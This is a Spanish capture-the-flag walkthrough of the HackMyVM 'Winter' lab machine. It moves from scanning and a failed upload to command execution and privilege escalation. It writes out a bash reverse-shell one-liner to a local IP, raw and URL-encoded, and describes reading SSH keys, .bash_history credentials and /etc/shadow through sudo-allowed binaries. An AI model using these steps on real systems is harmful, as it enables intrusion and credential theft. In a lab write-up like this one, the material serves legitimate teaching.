HackMyVM Winter — Linux


Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.
Descargamos el archivo de la página https://hackmyvm.eu/machines/
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.
Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan
para ver la dirección IP en nuestra red que sería la 192.168.0.115
.
Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.
Empezamos con un escaneo de puertos y podemos ver que identifica 2 puertos.
Ingresamos la dirección IP en el navegador podemos ver que nos muestran solo la palabra winter
.
Realizamos un escaneo para ver si encontramos algún subdirectorio o archivo y podemos ver que tenemos varios.
Ya que nos redirige muchos a login.php
probamos ingresando algunas credenciales por defecto pero no nos funcionan
Luego de darle a register
creamos un nuevo usuario.
Después de registrarnos y loguearnos vemos que entramos a un interesante panel.
Al dirigirnos al apartado de about
en los comentarios podemos ver que tiene un texto comentado, pero en el escaneo vemos que identifico el settings.php
Luego de ir a settings
nos carga una página que tiene un campo para subir archivos.
Probaremos subiendo una web Shell simple.
Intentamos subir el archivo, pero nos muestra un error.
Probaremos con una lista de extensiones PHP, para ello capturamos la petición con burpsuite y lo enviamos al intruder seleccionando la extensión.
Cargamos la lista y luego le damos en start attack
, pero no podemos subir el archivo.
Revisando los otros directorios que encontramos tenemos
luego de agregarlo, realizamos una búsqueda de subdominio y podemos ver que tenemos 2.
Después de agregar ambos dominios vemos que solo tenemos respuesta con cmd.winter
.
Realizamos un escaneo de subdirectorios y podemos ver que tenemos uno llamado shellcity.php
.
Al ingresar vemos que tenemos un mensaje para ingresar, probamos algunas inyecciones de comandos pero no resultan.
Ya que el nombre indica shell
realizaremos un fuzzing de parámetros para ver si este responde, luego de ejecutar el comando podemos observar que identifico run
.
Probamos el parámetro y vemos que podemos ejecutar comandos.
Probaremos enviando un comando para establecer una revshell.
bash -c 'bash -i >& /dev/tcp/192.168.0.109/1234 0>&1'
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.109%2F1234%200%3E%261%22
Primero iniciamos nuestro listener
Enviamos el comando y si la página se queda cargando es buena señal.
Regresamos a nuestro listener y podemos ver que establecimos conexión.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola. Revisando la carpeta home
vemos que tenemos un archivo de texto con una pista, también al intentar ingresar a la carpeta de usuario no podemos hacerlo.
Viendo los archivos temporales en opt
tenemos un archivo llamado customer
que pertenece a root.
Realizamos un sudo -l
para ver si tenemos algún permiso y podemos ver que en efecto, contamos con el binario hexdump
con el cual podemos escalar como catchme
.
Revisando la página de GTFOBins podemos observar que tenemos como usarlo para escalar privilegios.
Ya que al escanear puertos vimos que teníamos el puerto 22, con ello nos damos la idea de poder buscar el archivo id_rsa
para el usuario catchme
y siguiendo el comando podemos verlo.
Para facilitarnos el obtener el id_rsa
usaremos CyberChed
.
Creamos el archivo, le damos permisos e intentamos establecer conexión, pero nos pide una contraseña,
Revisando varios archivos tenemos que en el archivo .bash_history
encontramos las credenciales.
Volvemos a ingresar con la credencial que encontramos y podemos acceder.
Ingresamos el comando sudo -l
y podemos ver que tenemos el binario head
para ejecutarlo como root
.
Verificando la página de GTFOBins podemos observar que nos muestran como usarlo para escalar privilegios. Notemos que tiene una función similar a lo que realizamos antes, por ello leeremos el archivo id_rsa
de root.
Copiamos en un archivo y damos permisos, pero al momento de intentar establecer conexión notamos que de nuevo nos pide un password, buscamos en varios archivos, pero no encontramos alguna pista.
Revisando algunas capabilities y tareas observamos que en crontabs hay una tarea programada que ejecuta un archivo read.py
que no tenemos en la carpeta del usuario.
Así que podemos crearlo y emplear eso para escalar privilegios, pero antes validaremos si lo ejecuta root. Para ello copiamos el archivo pspy64
y luego iniciamos nuestro servidor local.
En nuestra máquina víctima descargamos el archivo y le damos permisos de ejecución.
Al ejecutarlo observamos que se ejecuta con los permisos de catchme
y no nos servirá para escalar como root
.
Ya que no podemos por esta tarea, probamos leyendo el /etc/shadow
, tratamos de obtener el password por fuerza bruta, pero no es posible.
No observamos otra manera de escalar como root
, pero usando el mismo comando podemos alcanzar el flag. Dejaremos hasta este punto esta máquina, Si conoce como escalar, agradecería dejara un comentario indicando como realizarlo. Gracias.
Subscribe to my newsletter
Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
